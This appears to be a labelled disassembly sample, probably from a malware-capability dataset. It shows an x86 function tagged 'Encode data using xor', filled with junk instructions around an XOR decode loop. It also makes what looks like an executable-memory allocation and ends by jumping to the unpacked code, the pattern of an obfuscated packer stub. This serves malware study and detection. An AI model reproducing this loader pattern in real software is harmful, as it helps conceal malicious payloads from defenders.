Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x86cc2573
add eax, 0x85ff10c7
mov eax, ebx
dec ebx
popal
sub eax, ebx
not eax
or ebx, eax
mov edx, 0
mov ebx, eax
and esi, esi
mov esi, 0xf4d6d0e4
or edi, esi
mov ecx, ebx
mov esi, edi
add edi, esi
dec esi
mov eax, ecx
add edi, 0xe800b6a0
inc esi
inc edx
mov esi, edi
and esi, esi
mov esi, edi
cmp edx, 0x1006437
jne 0xa789c7
mov edi, esi
dec esi
add eax, eax
dec eax
mov ebx, eax
mov esi, 0xa78796
mov ebx, ecx
add edx, 1
mov ebx, 0xbe8579c8
mov edi, 0xa7898a
mov ebx, edx
sub ecx, ebx
not ecx
mov eax, dword [esi]
mov ecx, edx
dec edx
sub edx, 0xfe01219d
and eax, 0xff
add ebx, ebx
inc edx
add ebx, 1
xor dword [edi], eax
inc ebx
add edx, 0x6f70eb81
not ebx
inc edi
mov ecx, ebx
sub ecx, ebx
inc esi
sub ebx, ecx
add edx, ecx
cmp edi, entry0
jl 0xa78a1a
add ecx, ecx
mov ecx, 0x7e959bb2
and ebx, ebx
and ebx, edx
sub ebx, ecx
inc edi
or ecx, edi
mov edx, 0xa7898e
or ecx, ecx
add esi, 0xd12f6563
mov edx, dword [edx]
and ebx, edi
add ecx, esi
sub esi, 1
mov edx, dword [edx]
add ecx, 1
add esi, edi
sub esp, 4
mov dword [esp], edx
or esi, edi
and edi, esi
sub edi, ecx
mov edx, 0xa7898a
inc esi
mov edi, 0x96e80a28
mov edx, dword [edx]
not esi
mov ebx, 0xccedf36d
sub edi, ecx
mov edx, dword [edx]
dec ebx
not esi
push 0xa78992
add ebx, 0xbb86bb5a
sub esi, edi
call edx
sub ecx, 0x6479c4c8
inc ebx
dec ebx
mov edx, dword [esp]
add esp, 4
mov ecx, esi
sub esi, 0xd1ae28e8
push 0xa7899f
mov esi, ebx
or ebx, ecx
sub esp, 4
mov dword [esp], eax
sub ebx, ecx
add ecx, ebx
sub ebx, edi
call edx
add ecx, edi
add esi, esi
push 0x40
add ecx, 0xfd1e5971
add edi, edi
push 0x3000
add ecx, 1
mov edi, esi
push 0x2000055f
and ecx, esi
and esi, esi
push 0
or ecx, edi
add ebx, 0x602f3a33
inc esi
call eax
add ecx, ebx
add ebx, ecx
add eax, 0x200004e1
inc edi
add edi, edi
mov edx, 0xaccd67e7
mov esi, ebx
sub ecx, 0xa8eff16d
mov dword [eax], edx
mov edi, 0xe1c6775c
sub esi, 0x9d4c578c
mov edx, dword [eax]
inc edi
add esi, 0xc5ac0ce7
cmp edx, 0xaccd67e7
je 0xa78b61
mov edx, 0
mov dword [edx], eax
and edi, edi
mov ecx, 0x75306d36
add edi, 0x75c62c6d
mov edi, esi
and esi, ebx
or ecx, esi
sub eax, ebx
inc ebx
sub ebx, eax
mov edx, section..reltc
mov eax, ebx
and ebx, ebx
mov esi, 0xa78795
sub ebx, eax
or eax, eax
sub eax, ebx
mov edi, 0
add eax, eax
or eax, eax
mov ecx, 0xa78796
add ebx, ebx
dec eax
lea ecx, [ecx + edi]
and ebx, ebx
add ebx, 0xaba964ed
sub ebx, eax
mov ecx, dword [ecx]
or eax, ebx
sub eax, ebx
sub ebx, 0x2b3db387
and ecx, 0xff
mov eax, ebx
mov ebx, 0xcdb7046d
mov ebx, 0xbde5c650
inc edi
inc ebx
add eax, 0x9c559839
or eax, eax
cmp edi, 0x1f4
jne 0xa78be0
mov edi, 0
sub eax, ebx
inc eax
sub ebx, 1
mov eax, 0x5ad10481
mov eax, 0xde3cd1fa
mov ebx, eax
xor dword [edx], ecx
add ebx, 0x99699949
add ebx, 1
sub eax, ebx
add edx, 2
mov ebx, eax
mov eax, 0xa67969e2
cmp edx, esi
jl 0xa78b96
sub ebx, 0x7f09e143
mov ebx, 0xff535437
sub eax, 0x8ed5addb
inc ebx
sub ebx, eax
mov edi, section..reltc
or edx, esi
or edx, edx
mov ebx, section..reltc
mov esi, 0xb70f52f0
sub esi, 0x2e62b4b6
mov eax, 0xa78795
dec esi
and esi, edx
sub esi, 0xe2eec217
mov ecx, 0
not edx
and esi, edx
mov cl, byte [ebx]
add esi, 0x45986d9b
sub edx, 0xbb48afd8
or esi, esi
mov byte [edi], cl
dec edx
dec esi
sub edx, 0x7922eaa7
inc edi
sub esi, 0x53339230
or esi, esi
add ebx, 2
add edx, 0x6fe86610
dec edx
sub esi, 0xb884dc3d
cmp ebx, eax
jle 0xa78c5e
not esi
sub esi, 0xabb956fc
or edx, edx
and ebx, ebx
sub ebx, 0x82a756b4
not ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
add eax, ebx
sub eax, ebx
ret